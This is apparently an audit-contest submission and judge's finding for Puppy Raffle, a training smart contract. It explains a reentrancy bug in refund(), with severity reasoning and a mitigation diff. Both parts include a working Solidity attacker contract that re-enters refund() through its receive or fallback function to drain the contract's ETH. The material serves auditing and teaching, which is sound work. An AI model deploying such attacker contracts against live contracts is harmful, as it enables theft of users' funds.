Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() drains the entire contract balance

Root + Impact

A player calls refund(playerIndex) to get their entranceFee back. Their slot in the players array is then zeroed so the same ticket cannot be refunded twice.

The issue**:** refund() sends ETH before it zeroes the slot, so it violates checks-effects-interactions. A malicious contract entered as a player re-enters refund() from its receive() fallback. Because players[playerIndex] is still set to the attacker, the same ticket refunds over and over, one entranceFee at a time, until the contract holds less than one entrance fee.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // @audit external call before state change
players[playerIndex] = address(0); // @audit never reached while re-entering
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reason 1: any player can be a contract, and the attack needs only a single entry plus a receive() that calls refund() again. No privileges, no timing, no front-running.

  • Reason 2: refund() is permissionless and has no reentrancy guard, so the exploit fires the moment the attacker calls refund().

Impact:

  • Impact 1: total loss of all funds held by the raffle, including every honest player's deposit and the protocol's accumulated fees.

  • Impact 2: the raffle becomes insolvent, so remaining refunds and the winner payout fail.

Proof of Concept
test/audit/ReentrancyTest.t.sol — verified passing (forge test --match-test testReentrancyDrainsAllFunds).

contract ReentrancyAttacker {
PuppyRaffle public target;
uint256 public entranceFee;
uint256 public myIndex;
constructor(PuppyRaffle _target) {
target = _target;
entranceFee = target.entranceFee();
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
target.enterRaffle{value: entranceFee}(players);
myIndex = target.getActivePlayerIndex(address(this));
target.refund(myIndex); // starts the reentrancy
}
receive() external payable {
if (address(target).balance >= entranceFee) {
target.refund(myIndex); // same slot still points to us
}
}
}

Result: with 10 honest players (10 ETH) plus the attacker's 1 ETH entry, the attacker drains all 11 ETH.

Mitigation

Follow checks-effects-interactions (zero the slot first, then send). Adding OpenZeppelin ReentrancyGuard is a belt-and-braces defense.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
+
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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